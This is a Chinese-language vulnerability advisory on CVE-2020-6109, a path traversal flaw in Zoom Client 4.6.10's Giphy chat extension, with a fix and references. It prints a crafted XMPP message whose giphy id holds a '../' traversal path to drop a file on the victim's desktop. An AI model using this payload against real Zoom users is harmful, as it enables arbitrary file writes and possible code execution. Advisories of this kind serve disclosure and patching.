CVE-2020-6109 | ZOOM客户端路径遍历漏洞通告

发布时间 2020-06-05

0x00 漏洞概述



CVE   ID

CVE-2020-6109

   

2020-06-04

   

DT

   

高危

远程利用

影响范围

Zoom Client 4.6.10


0x01 漏洞详情




Zoom Client是美国Zoom企业的一款支撑多种平台的视频会议客户端应用程序。


CVE-2020-6109在Zoom Client版本4.6.10中存在可利用的路径遍历漏洞,该漏洞在处理包含动画GIF的消息时。特制的聊天消息可能导致任意文件写入,可能会进一步滥用该文件以实现任意代码实行。攻击者需要向目标用户或组发送特制消息才能触发此漏洞。


Zoom的聊天功能建立在XMPP标准的基础上,并具有支撑其他扩展功能。这些扩展之一支撑在聊天中包含动画GIF消息的功能。提供此功能并依赖Giphy服务。当客户端收到带有此giphy扩展名的XMPP消息时,将指示其访问指定的HTTP URL并获取GIF文件发送给用户。此类XMPP消息的示例如下:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

       <giphy id='filename' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


上面的XML代码中有两个值需要关注。首先,该giphy标签包含三个目标URL,这些URL应该指向Giphy的服务器。简短的测试表明,没有实行目标URL的验证,并且客户端将遵循指定的URL,包括任意服务器。指定自定义URL时,可以观察到来自客户端的HTTP连接:


GET /test.gif HTTP/1.1

Host: example.com

User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)

Accept: */*

Cookie: srid=SaaSbeeTestMode00123578;

ZM-CAP: 2535978022733895607,164

ZM-PROP: Mac.Zoom

ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000


应该指出的是,尽管以上请求中没有验证cookie,但仍有足够的信息泄露唯一标识的客户端。标头ZM-NSGN包含经过哈希处理和编码的唯一客户端设备ID。


测试发现即使giphy扩展名仅显示GIF图像,它也将轻松显示和预览其他图像类型。这包括PNG和JPEG文件格式。


此消息XML代码中的第二件有趣的事是,标记的id属性giphy直接与客户端缓存在磁盘上的图像文件名相关联。换句话说,客户端应用程序将使用此指定的ID将文件保存到磁盘以供将来显示。可以提供任意文件名,并且文件将存储在dataZoom安装目录下目录中的可预测位置。


真正的漏洞在于这样的情况,即文件名没有以任何方式删除,并允许目录遍历。这意味着标记的特制id属性giphy可以包含一个特殊文件路径,该路径将在Zoom的安装目录之外并且实际上在当前用户可写的任何目录中写入文件。以下修改的message说明了这种可能性:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

   <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


Zoom客户端会将字符串附加_BigPic.gif到指定的文件名这一事实可以部分缓解此漏洞。这样可以防止攻击者创建具有任意扩展名的可完全控制的文件。如果攻击者选择了.gif扩展名,以上内容仍将使用文件名将任意内容的文件放置到当前用户的桌面上。文件的内容不仅限于图像,还可能包含可实行代码或脚本,这些代码或脚本可能被滥用以帮助利用另一个漏洞。

此外可能会在Windows系统上创建空文件的任意扩展名。


0x02 处置建议


目前厂商已发布4.6.12版本以修复漏洞,下载地址:

https://zoom.us/


0x03 相关资讯


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 参考链接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055


0x05 时间线


2020-04-16 研究人员披露

2020-06-04 VSRC发布漏洞通告